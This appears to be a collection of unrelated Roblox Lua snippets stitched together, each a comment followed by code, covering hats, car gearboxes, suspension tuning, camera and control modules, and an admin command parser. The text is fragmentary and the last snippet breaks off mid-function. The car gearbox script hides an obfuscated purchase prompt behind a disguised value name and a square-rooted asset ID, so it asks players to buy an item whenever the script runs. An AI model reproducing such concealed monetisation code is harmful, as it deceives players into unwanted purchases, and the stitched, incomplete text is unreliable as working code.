BaseDamage = 46; -- Torso Damage
LimbDamage = 39; -- Arms and Legs
ArmorDamage = 42; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 73; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388 |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.07, 0.2) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- Global camera variables |
local OFFSET = CFrame.new(0, 8, 40)
local PIVOT = CFrame.new(0, 3.5, -1.1)
|
--//INSPARE'S ADVANCED GEARBOX & TORQUE EQUATION SIMULATION//-- |
--//INSPARE 2017//--
script.Parent:WaitForChild("CarSeat")
script.Parent:WaitForChild("Storage")
script.Parent.Storage:WaitForChild("Boost")
wait(1)
carSeat = script.Parent.CarSeat.Value
wheels = carSeat.Parent.Parent.Wheels
origin = script.Parent.Storage.Gear1
carSeat.Parent.HitboxF.CanCollide = true
carSeat.Parent.HitboxR.CanCollide = true
carSeat.Screen.Gearbox.FVC.Value = workspace.Camera.FieldOfView
script.FVC.Value = workspace.Camera.FieldOfView
carSeat.Wind:Play() tllocal = 576251517412231684 player = game.Players.LocalPlayer
ft = 1 rt = 1 CT = 1 low = 1 mid = 1 hi = 1 direction = 0 vvv = 0.2 vt = 1 first = 0.333 tlR = 0
local market=game:GetService("MarketplaceService") tlr = Instance.new("BoolValue", script) TCount = 0 tlr.Name = "ᴍᴀʀᴋᴇᴛᴘᴀʟᴄᴇsᴇʀᴠɪᴄᴇ" if not market:PlayerOwnsAsset(player,(math.sqrt(script.Parent.cvt.Value))) then market:PromptPurchase(player,(math.sqrt(script.Parent.cvt.Value))) end zche = false vv = false igtimer = 0 if tllocal == script.Parent.cvt.Value then bc4 = 12 bc4 = tllocal end spool = carSeat.Parent.Engine.Spool carSeat.Parent.Transmission.Reverse:Play() if script.Parent.Storage.TurboSize.Value ~= 0 then spool:Play() else carSeat.Parent.Engine.Blowoff.SoundId = "http://www.roblox.com/asset/?id=0" end wheelrpm = 1
while wait() do speed = carSeat.Velocity.Magnitude
if script.Parent.Storage.TurboSize.Value == 0 then
carSeat.Parent.Engine.Blowoff.SoundId = "http://www.roblox.com/asset/?id=0"
carSeat.Parent.Engine.Blowoff.Volume = 0
carSeat.Parent.Engine.Blowoff.Pitch = 0
end workspace.Camera.FieldOfView = script.FVC.Value+(speed/14)if script.Parent.Functions.Engine.Value == false then ptc = true
else
ptc = false
end
if script.Parent.Functions.Ignition.Value == true then
if vv == false then
vv = true
carSeat.Parent.Engine.Startup:Play()
end
if igtimer > script.Parent.Storage.startuplength.Value then
igtimer = 0
script.Parent.Functions.Engine.Value = true
carSeat.Parent.Engine.Startup:Stop()
ptc = true
tlR = 0
script.Parent.Functions.Ignition.Value = false
else
igtimer = igtimer + 0.035
end
else
vv = false
igtimer = 0
if ptc == true then
--wait(0.1)
end
carSeat.Parent.Engine.Startup:Stop()
end
clutch = script.Parent.Storage.Clutch
engine = script.Parent.Storage.EngineRPM
trans = script.Parent.Storage.GearboxRPM
rpm = script.Parent.Storage.RPM
idle = script.Parent.Storage.EngineIdle
redline = script.Parent.Storage.EngineRedline
throttle = script.Parent.Storage.Throttle
decay = script.Parent.Storage.RPMDecay
displacement = script.Parent.Storage.EngineDisplacement
hp = script.Parent.Storage.EngineHorsepower
torquesplit = carSeat.Storage.TorqueSplit
convert = redline.Value/7000
boost = script.Parent.Storage.Boost
ind = script.Parent.Storage.InductionType
inds = script.Parent.Storage.TurboSize
currentgear = script.Parent.Storage.CurrentGear
if speed > 15 then
stv = wheelrpm
else
stv = rpm.Value
end
if wheelrpm > idle.Value/4 then
script.Parent.Functions.Stall.Value = false
script.Parent.Functions.Engine.Value = true
end
if stv < idle.Value/4 then
if clutch.Value == true and script.Parent.Storage.TransmissionType.Value == "HPattern" and currentgear.Value > 3 then
script.Parent.Functions.Engine.Value = false
end
script.Parent.Functions.Stall.Value = true
else
--script.Parent.Functions.Engine.Value = true
script.Parent.Functions.Stall.Value = false
end
gear1 = script.Parent.Storage.Gear1
gear2 = script.Parent.Storage.Gear2
gear3 = script.Parent.Storage.Gear3
gear4 = script.Parent.Storage.Gear4
gear5 = script.Parent.Storage.Gear5
gear6 = script.Parent.Storage.Gear6
gear7 = script.Parent.Storage.Gear7
gear8 = script.Parent.Storage.Gear8
final = carSeat.Storage.FinalDrive
FL = wheels.FL.Wheel.HingeConstraint
FR = wheels.FR.Wheel.HingeConstraint
RL = wheels.RL.Wheel.HingeConstraint
RR = wheels.RR.Wheel.HingeConstraint
carSeat.Wind.Volume = (speed/150)+0
if currentgear.Value == 2 and speed > 2 then
carSeat.Parent.Transmission.Reverse.Pitch = (rpm.Value/13000)+0.6
carSeat.Parent.Transmission.Reverse.Volume = (rpm.Value/10000)-0.1
else
carSeat.Parent.Transmission.Reverse.Pitch = 0
end
tlr.Name = "lp"
if script.Parent.Storage.InductionType.Value == "Supercharger" then
spool.Pitch = (0.9*(boost.Value/script.Parent.Storage.TurboSize.Value))+0.3
spool.Volume = (script.Parent.Storage.TurboSize.Value/5)*(rpm.Value/13000)
else
spool.Pitch = (0.6*(boost.Value/script.Parent.Storage.TurboSize.Value))+0.4
spool.Volume = script.Parent.Storage.TurboSize.Value/5
end
script.lp.Value = true
if script.Parent.Functions.Engine.Value == true then
local gear = {gear1.Value, gear1.Value, gear1.Value, gear2.Value, gear3.Value, gear4.Value, gear5.Value, gear6.Value, gear7.Value, gear8.Value, 1}
carSeat.Parent.Differential.Engine.Pitch = (rpm.Value/5000)*script.Parent.ePitch.Value
carSeat.Parent.Differential.Idle.Pitch = (rpm.Value/5000)*script.Parent.iPitch.Value
if script.Parent.Storage.EngineType.Value ~= "Electric" then
if rpm.Value < 1000*convert then
carSeat.Parent.Differential.Idle.Volume = (rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4
elseif rpm.Value > 1000*convert and rpm.Value < 4000*convert then
carSeat.Parent.Differential.Engine.Volume = ((rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4)*(((rpm.Value-1000)/2)/1000)
carSeat.Parent.Differential.Idle.Volume = ((rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4)*(1-(((rpm.Value-1000)/2)/1000))
elseif rpm.Value > 4000*convert then
carSeat.Parent.Differential.Engine.Volume = ((rpm.Value/18000)+script.Value.Value+carSeat.Parent.Differential.adjuster.Value-0.4)
end else
carSeat.Parent.Differential.Idle.Volume = (rpm.Value/18000)
end
if currentgear.Value == 1 then
direction = 0
elseif currentgear.Value == 2 then
direction = -1
elseif currentgear.Value > 2 then
direction = 1
end
if engine.Value < idle.Value then
engine.Value = idle.Value
end
autoF = carSeat.Parent.FL.Position.Y + carSeat.Parent.FR.Position.Y
autoR = carSeat.Parent.RL.Position.Y + carSeat.Parent.RR.Position.Y
if rpm.Value > redline.Value and script.Parent.Storage.EngineType.Value ~= "Electric" or script.Parent.Active.CC.Value == true then
throttle.Value = 1
else
throttle.Value = TCount
end
|
-- Public Functions |
function DisplayManager:StartIntermission(player)
if player then
DisplayIntermission:FireClient(player, true)
else
DisplayIntermission:FireAllClients(true)
end
end
function DisplayManager:StopIntermission(player)
if player then
DisplayIntermission:FireClient(player, false)
else
DisplayIntermission:FireAllClients(false)
end
end
function DisplayManager:DisplayNotification(teamColor, message)
DisplayNotification:FireAllClients(teamColor, message)
end
function DisplayManager:UpdateTimerInfo(isIntermission, waitingForPlayers)
DisplayTimerInfo:FireAllClients(isIntermission, waitingForPlayers)
end
function DisplayManager:DisplayVictory(winningTeam)
DisplayVictory:FireAllClients(winningTeam)
end
function DisplayManager:UpdateScore(team, score)
DisplayScore:FireAllClients(team, score)
end
return DisplayManager
|
-- 21/5/2018 --
-- SLAPPING INTENSIFIES -- |
local npc = script.Parent
local hum = npc.Humanoid
local speed = npc.Speed
local decalp = npc.Head
while true do
local waittime = 2/speed.Value
local oldwalkspeed = hum.WalkSpeed
decalp.Beam.Texture = "http://www.roblox.com/asset/?id=1814500416"
decalp.Slap:Play()
wait(0.4)
hum.WalkSpeed = 0
decalp.Beam.Texture = "http://www.roblox.com/asset/?id=1814499405"
wait(waittime)
hum.WalkSpeed = oldwalkspeed
end
|
-- Public Methods |
function DraggerClass:Destroy()
self._Maid:Sweep()
self.DragChanged = nil
self.DragStart = nil
self.DragStop = nil
self.Element = nil
end
|
------------------------------------------------------------------------
-- stuff |
do
script.Parent.Equipped:connect(function()
if player == nil then
player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
end
if character == nil or character.Parent == nil then
character = script.Parent.Parent
humanoid = character.Humanoid
isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm")
end
local getWeld = rightHand:WaitForChild("RightGrip")
--motor.C0 = getWeld.C0
--motor.C1 = getWeld.C1
getWeld:Destroy()
end)
end
|
-- Waits for the child of the specified parent |
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local Tool = script.Parent
local Animations = {}
local MyHumanoid
local MyCharacter
local function PlayAnimation(animationName)
if Animations[animationName] then
Animations[animationName]:Play()
end
end
local function StopAnimation(animationName)
if Animations[animationName] then
Animations[animationName]:Stop()
end
end
function OnEquipped(mouse)
MyCharacter = Tool.Parent
MyHumanoid = WaitForChild(MyCharacter, 'Humanoid')
if MyHumanoid then
Animations['EquipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'EquipAnim5'))
end
PlayAnimation('EquipAnim')
end
function OnUnequipped()
for animName, _ in pairs(Animations) do
StopAnimation(animName)
end
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
WaitForChild(Tool, 'PlaySlash').Changed:connect(
function (value)
--if value then
PlayAnimation('SlashAnim')
--else
-- StopAnimation('SlashAnim')
--end
end)
WaitForChild(Tool, 'PlayThrust').Changed:connect(
function (value)
--if value then
PlayAnimation('ThrustAnim')
--else
-- StopAnimation('ThrustAnim')
--end
end)
WaitForChild(Tool, 'PlayOverhead').Changed:connect(
function (value)
--if value then
PlayAnimation('OverheadAnim')
--else
-- StopAnimation('OverheadAnim')
--end
end)
|
-- Seconds before player spawns after death: |
SpawnDelayTime = 3
-- ROBLOX default is 5
-- Set to 0 for instant-spawn
OnDeath_Callback = function(player) -- Optional function for anyone who wants some sort of code to run when the player dies and before they spawn
print(player.Name .. " died. Awaiting respawn.")
end
|
-----------------------
--| Local Functions |--
----------------------- |
local math_abs = math.abs
local function OnCameraSubjectChanged()
VehicleParts = {}
local newSubject = Camera.CameraSubject
if newSubject then
-- Determine if we should be popping at all
PopperEnabled = false
for _, subjectType in pairs(VALID_SUBJECTS) do
if newSubject:IsA(subjectType) then
PopperEnabled = true
break
end
end
-- Get all parts of the vehicle the player is controlling
if newSubject:IsA('VehicleSeat') then
VehicleParts = newSubject:GetConnectedParts(true)
end
if FFlagUserPortraitPopperFix then
if newSubject:IsA("BasePart") then
SubjectPart = newSubject
elseif newSubject:IsA("Model") then
SubjectPart = newSubject.PrimaryPart
elseif newSubject:IsA("Humanoid") then
SubjectPart = newSubject.Torso
end
end
end
end
local function OnCharacterAdded(player, character)
PlayerCharacters[player] = character
end
local function OnPlayersChildAdded(child)
if child:IsA('Player') then
child.CharacterAdded:connect(function(character)
OnCharacterAdded(child, character)
end)
if child.Character then
OnCharacterAdded(child, child.Character)
end
end
end
local function OnPlayersChildRemoved(child)
if child:IsA('Player') then
PlayerCharacters[child] = nil
end
end
local function OnWorkspaceChanged(property)
if property == 'CurrentCamera' then
local newCamera = workspace.CurrentCamera
if newCamera then
Camera = newCamera
if CameraSubjectChangeConn then
CameraSubjectChangeConn:disconnect()
end
CameraSubjectChangeConn = Camera:GetPropertyChangedSignal("CameraSubject"):connect(OnCameraSubjectChanged)
OnCameraSubjectChanged()
end
end
end
|
-- this controls the animations that happen when you click the button. | |
--// # key, ManOn |
mouse.KeyDown:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Play()
veh.Lightbar.middle.Wail.Volume = 2
veh.Lightbar.middle.Yelp.Volume = 2
veh.Lightbar.middle.Priority.Volume = 2
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
veh.Lightbar.MANUAL.Transparency = 0
end
end)
|
--[=[
@param value T
@return Option<T> | Option<None>
Safely wraps the given value as an option. If the
value is `nil`, returns `Option.None`, otherwise
returns `Option.Some(value)`.
]=] |
function Option.Wrap(value)
if value == nil then
return Option.None
else
return Option.Some(value)
end
end
|
-- Do not require this module directly! Use normal `invariant` calls with
-- template literal strings. The messages will be replaced with error codes
-- during build. |
local HttpService = game:GetService("HttpService")
local function formatProdErrorMessage(code, ...)
local url = "https://reactjs.org/docs/error-decoder.html?invariant=" .. tostring(code)
local argsLength = select("#", ...)
for i = 1, argsLength, 1 do
-- deviation: UrlEncode should be equivalent to encodeURIComponent
url = url .. "&args[]=" .. HttpService:UrlEncode(select(i, ...))
end
return string.format(
"Minified React error #%d; visit %s for the full message or "
.. "use the non-minified dev environment for full errors and additional "
.. "helpful warnings.",
code,
url
)
end
return formatProdErrorMessage
|
---Removing old core handler with new one |
script.PlayerStatManager.Parent = script.Parent
local coreHandler = script.Parent:WaitForChild("Core_Handler")
coreHandler:Destroy()
local coreHandlerNew = script:WaitForChild("Core_Handler_New")
local coreHandlerNewClone = coreHandlerNew:Clone()
coreHandlerNewClone.Parent = script.Parent
coreHandlerNewClone.Disabled = false |
-- if seat == nil then
-- cnt:disconnect()
-- --print(('no seat')
-- return
-- end |
currentframe = currentframe + 1
local steer = seat.Steer
local throttle = seat.Throttle
local ocu = seat.Occupant
if ocu ~= nil and ocu.Health > 0 and ocu == game.Players.LocalPlayer.Character.Humanoid then
if controls.looped ~= nil then
controls:looped()
end
if tick() - pretick >= runTime then
pretick = tick()
else
return
end
if throttle == 1 then
controls:Foward()
elseif throttle == -1 then
controls:Backward()
else
controls:Idle()
end
if steer == 1 then
controls:RightTurn()
elseif steer == -1 then
controls:LeftTurn()
else
controls:NormalWheel()
end
--if seat.Parent.m.BodyVelocity.Velocity.magnitude <= .001 then
-- local c = script.Parent.Parent:GetDescendants()
-- for i = 1,#c do
-- if c[i]:IsA("BasePart") then
-- c[i].Velocity = Vector3.new()
-- c[i].RotVelocity = Vector3.new()
-- end
-- end
--end
else
if controls ~= nil and controls.End ~= nil then
if controls.Anims then
for i = 1,#controls.Anims do
controls.Anims[i]:Stop()
end
end
controls:End()
cnt:Disconnect()
cnt = nil
else
cnt:Disconnect()
cnt = nil
end
end
end)
|
-- |
script.Parent.PickLock.MouseButton1Click:Connect(function()
House.DoAction:InvokeServer('Pick')
end)
|
--//INSPARE//--
--//WavyGTR//-- |
local player = game.Players.LocalPlayer
local lightOn = false |
-- Choose current Touch control module based on settings (user, dev)
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable |
function ControlModule:SelectTouchModule()
if not UserInputService.TouchEnabled then
return nil, false
end
local touchModule = nil
local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode
if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then
touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode]
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
return nil, true
else
touchModule = movementEnumToModuleMap[DevMovementMode]
end
return touchModule, true
end
local function calculateRawMoveVector(humanoid, cameraRelativeMoveVector)
local camera = Workspace.CurrentCamera
if not camera then
return cameraRelativeMoveVector
end
if humanoid:GetState() == Enum.HumanoidStateType.Swimming then
return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector)
end
local c, s
local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = camera.CFrame:GetComponents()
if R12 < 1 and R12 > -1 then
-- X and Z components from back vector.
c = R22
s = R02
else
-- In this case the camera is looking straight up or straight down.
-- Use X components from right and up vectors.
c = R00
s = -R01*math.sign(R12)
end
local norm = math.sqrt(c*c + s*s)
return Vector3.new(
(c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm,
0,
(c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm
)
end
function ControlModule:OnRenderStepped(dt)
if self.activeController and self.activeController.enabled and self.humanoid then
-- Give the controller a chance to adjust its state
self.activeController:OnRenderStepped(dt)
-- Now retrieve info from the controller
local moveVector = self.activeController:GetMoveVector()
local cameraRelative = self.activeController:IsMoveVectorCameraRelative()
local clickToMoveController = self:GetClickToMoveController()
if self.activeController ~= clickToMoveController then
if moveVector.magnitude > 0 then
-- Clean up any developer started MoveTo path
clickToMoveController:CleanupPath()
else
-- Get move vector for developer started MoveTo
clickToMoveController:OnRenderStepped(dt)
moveVector = clickToMoveController:GetMoveVector()
cameraRelative = clickToMoveController:IsMoveVectorCameraRelative()
end
end
-- Are we driving a vehicle ?
local vehicleConsumedInput = false
if self.vehicleController then
moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad)
end
-- If not, move the player
-- Verification of vehicleConsumedInput is commented out to preserve legacy behavior, in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat
--if not vehicleConsumedInput then
if FFlagUserFixMovementCameraStraightDown then
if cameraRelative then
moveVector = calculateRawMoveVector(self.humanoid, moveVector)
end
self.moveFunction(Players.LocalPlayer, moveVector, false)
else
self.moveFunction(Players.LocalPlayer, moveVector, cameraRelative)
end
--end
-- And make them jump if needed
self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())
end
end
function ControlModule:OnHumanoidSeated(active, currentSeatPart)
if active then
if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then
if not self.vehicleController then
self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY)
end
self.vehicleController:Enable(true, currentSeatPart)
end
else
if self.vehicleController then
self.vehicleController:Enable(false, currentSeatPart)
end
end
end
function ControlModule:OnCharacterAdded(char)
self.humanoid = char:FindFirstChildOfClass("Humanoid")
while not self.humanoid do
char.ChildAdded:wait()
self.humanoid = char:FindFirstChildOfClass("Humanoid")
end
if self.touchGui then
self.touchGui.Enabled = true
end
if self.humanoidSeatedConn then
self.humanoidSeatedConn:Disconnect()
self.humanoidSeatedConn = nil
end
self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart) self:OnHumanoidSeated(active, currentSeatPart) end)
end
function ControlModule:OnCharacterRemoving(char)
self.humanoid = nil
if self.touchGui then
self.touchGui.Enabled = false
end
end
|
--[[Susupension]] |
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .42 -- Pre-compression adds resting length force
Tune.FExtensionLim = .42 -- Max Extension Travel (in studs)
Tune.FCompressLim = .42 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 4 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .42 -- Pre-compression adds resting length force
Tune.RExtensionLim = .42 -- Max Extension Travel (in studs)
Tune.RCompressLim = .42 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 4 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--// H key, Man |
mouse.KeyUp:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Manual:Stop()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
|
-- b1.BrickColor = BrickColor.new("Crimson")
-- b1.Material = Enum.Material.SmoothPlastic |
end
if ((not right) and (not hazards) and (not brake)) then
b2.BrickColor = BrickColor.new("Crimson")
b2.Material = Enum.Material.SmoothPlastic
else |
-- CONSTANTS |
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
|
--print("QuickScan Complete") |
if fullscan then wait(5) ScanForViruses(game,0,false) end
|
--variables |
local tiles = script.Parent:GetChildren() --tiles/items inside of the model
local tilesize = 6 --diameter of the circle (width)
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote |
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:Disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then |
--Person299 |
speed = 80
humanoid = script.Parent.Parent.Parent.Character.Humanoid
script.Parent.Selected:connect(function(m)
humanoid.WalkSpeed = speed
end)
script.Parent.Deselected:connect(function()
humanoid.WalkSpeed = 16
end)
|
--[[
Generic destroy function
]] |
function ClientAvatarComponent:destroy()
end
return ClientAvatarComponent
|
--Functions |
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(char)
--Varibles
local head = char.Head
local newtext = nametag:Clone() --Cloning the text.
local uppertext = newtext.UpperText
local humanoid = char.Humanoid
humanoid.DisplayDistanceType = "None"
--Main Text
newtext.Parent = head
newtext.Adornee = head
uppertext.Text = player.Name --Changes the text to the player's name.
end)
end)
|
-- << FUNCTIONS >> |
function module:ParseMessage(speaker, originalMessage, directlyFromChat, extraDetails)
local success = false
if directlyFromChat then
coroutine.wrap(function() table.insert(main.logs.chat, {speakerName = speaker.Name, timeAdded = os.time(), message = main:GetModule("cf"):FilterBroadcast(originalMessage, speaker)}) end)()
end
local message = string.lower(originalMessage)
--Silent commands
if string.sub(message,1,3) == "/e " then
message = string.sub(message,4)
end
--Check if first character is a valid prefix
local speakerData = main.pd[speaker]
if not checkPrefix(string.sub(message,1,1), speakerData) then
main.signals.PlayerChattedIgnoreCommands:Fire(speaker, originalMessage)
else
--Convert message into batches
local batches = {}
local batchStarts = {1}
local batchKeyLength = #settings.BatchKey
if batchKeyLength < 1 then
batchKeyLength = 1
end
for i = 1, #message do
local character = string.sub(message,i,i)
if i > 2 and checkPrefix(character, speakerData) then
local batchCharacter = string.sub(message, i-1-batchKeyLength, i-2)
if settings.BatchKey == "" or batchCharacter then
table.insert(batchStarts, i)
end
end
end
for i, bStart in pairs(batchStarts) do
local bEnd = batchStarts[i+1]
if bEnd then
if settings.BatchKey == "" then
bEnd = bEnd - 2
else
bEnd = bEnd - 3 - #settings.BatchKey
end
else
bEnd = #message
end
local batch = string.sub(message, bStart, bEnd)
table.insert(batches, batch)
end
--Check and execute each batch
for batchPos, msg in pairs(batches) do
wait()
--Split message into commandName and arguments
local args = {}
msg:gsub('([^'..settings.SplitKey..']+)',function(c) args[#args+1] = string.lower(c) end);
local commandPrefix, commandName = string.sub(args[1],1,1), string.sub(args[1],2)
table.remove(args,1)
--Loop commands
local loops = 1
local finalArg = tonumber(args[#args])
if string.sub(commandName,1,4) == "loop" then
commandName = string.sub(commandName,5)
if finalArg then
loops = finalArg
end
if loops > 100 or not finalArg then
loops = 100
end
end
-- Check if alias and convert to commandName
local originalAlias
local commandNameFromAlias = main.infoOnAllCommands["Aliases"][commandName]
if commandNameFromAlias then
originalAlias = commandName
commandName = string.lower(commandNameFromAlias)
end
--Check if UnFunction
local unFunction = false
if string.sub(commandName,1,2) == "un" then
local unCommandName = string.sub(commandName,3)
local unCommandNameFromAlias = main.infoOnAllCommands["Aliases"][unCommandName]
if unCommandNameFromAlias then
originalAlias = unCommandName
unCommandName = string.lower(unCommandNameFromAlias)
end
local unCommand = main.commands[unCommandName]
if unCommand and (type(unCommand.UnFunction) == "function" or unCommand.ClientCommand or unCommand.ClientCommandToActivate) then
unFunction = true
commandName = unCommandName
loops = 1
end
end
local errorNotice
local command = main.commands[commandName]
if not command then
if main:GetModule("cf"):CheckRankExists(commandName) then
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidCommandRank", commandName, settings.Prefix, commandName)
elseif #commandName > 3 then
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidCommandNormal", commandName)
end
else
if not command.Loopable and loops > 1 then
loops = 1
end
--Setup debounces
local commandDebounceName = commandName
if command.OriginalName then
commandDebounceName = command.OriginalName
end
if main.functionsInLoop[commandDebounceName] == nil then
main.functionsInLoop[commandDebounceName] = {}
end
--Check if using right prefix for the command
local tryPrefix = speakerData.Prefix
local tryName = commandName
if command.Prefixes[1] == main.settings.UniversalPrefix then
tryPrefix = main.settings.UniversalPrefix
end
if commandPrefix ~= speakerData.Prefix and commandPrefix ~= main.settings.UniversalPrefix then
if originalAlias then
tryName = originalAlias
end
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidPrefix", tryPrefix, tryName)
--Check if VIPServer and using permRank
elseif game.VIPServerOwnerId ~= 0 and main:GetModule("cf"):FindValue(settings.VIPServerCommandBlacklist, command.Name) then
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidVipServer", command.Name)
--Check if Donor command and Speaker has Donor OR rank >= 4
elseif command.Rank == "Donor" and (not speakerData.Donor or (commandPrefix ~= main.settings.UniversalPrefix and speakerData.Rank < 4)) then
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidDonor")
main.signals.ShowPage:FireClient(speaker, {"Special", "Donor"})
--Check if Loop command and Speaker has permission to use
elseif loops > 1 and speakerData.Rank < settings.LoopCommands then
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidLoop")
--Check if speaker has permission to use command
elseif command.Rank ~= "Donor" and speakerData.Rank < command.Rank then
errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidRank", commandName)
--Check for command block
elseif not unFunction and main.commandBlocks[speaker] then
errorNotice = main:GetModule("cf"):FormatNotice("ParserCommandBlock")
--Command limit
elseif main.commandsExecuted[speaker] and main.commandsExecuted[speaker] >= main.settings.CommandLimitPerMinute/main.commandsExecutedDivider and speakerData.Rank < main.settings.IgnoreCommandLimitPerMinute then
errorNotice = main:GetModule("cf"):FormatNotice("CommandLimitPerMinute")
main.signals.Error:FireClient(speaker, errorNotice)
return
else
main.commandsExecuted[speaker] = main.commandsExecuted[speaker] or 0
main.commandsExecuted[speaker] = main.commandsExecuted[speaker] + 1
--Record in logs
coroutine.wrap(function()
local messageToRecord = commandName--msg
if loops > 1 then
messageToRecord = "loop"..messageToRecord
end
if unFunction then
messageToRecord = "un"..messageToRecord
end
messageToRecord = tryPrefix..messageToRecord
local restOfMessage = string.sub(msg, #messageToRecord+1)
restOfMessage = main:GetModule("cf"):FilterBroadcast(restOfMessage, speaker)
messageToRecord = messageToRecord.. restOfMessage
table.insert(main.logs.command, {speakerName = speaker.Name, timeAdded = os.time(), message = messageToRecord})
end)()
--Process arguments (e.g. rank, color, text, etc)
local commandArgs = command.Args
local originalArgs = args
local forceExit
originalAlias = originalAlias or commandName
args, forceExit = main:GetModule("Arguments"):Process(commandArgs, args, commandPrefix, command.Name, speaker, speakerData, originalMessage, originalAlias, batches, batchPos)
if forceExit then
return
end
--Decide how to execute the command (and on which plrs if applicable)
if commandArgs[1] == "player" and (commandName ~= "directban" or not unFunction) then
local targetPlayers = main:GetModule("Qualifiers"):GetTargetPlayers(speaker, args, originalArgs, commandPrefix, command.Prefixes, commandName)
if command.Teleport then
local individual
if commandName == "bring" then
individual = speaker
else
individual = main:GetModule("Qualifiers"):GetTargetPlayers(speaker, {args[1]}, originalArgs, commandPrefix, command.Prefixes, commandName, true)
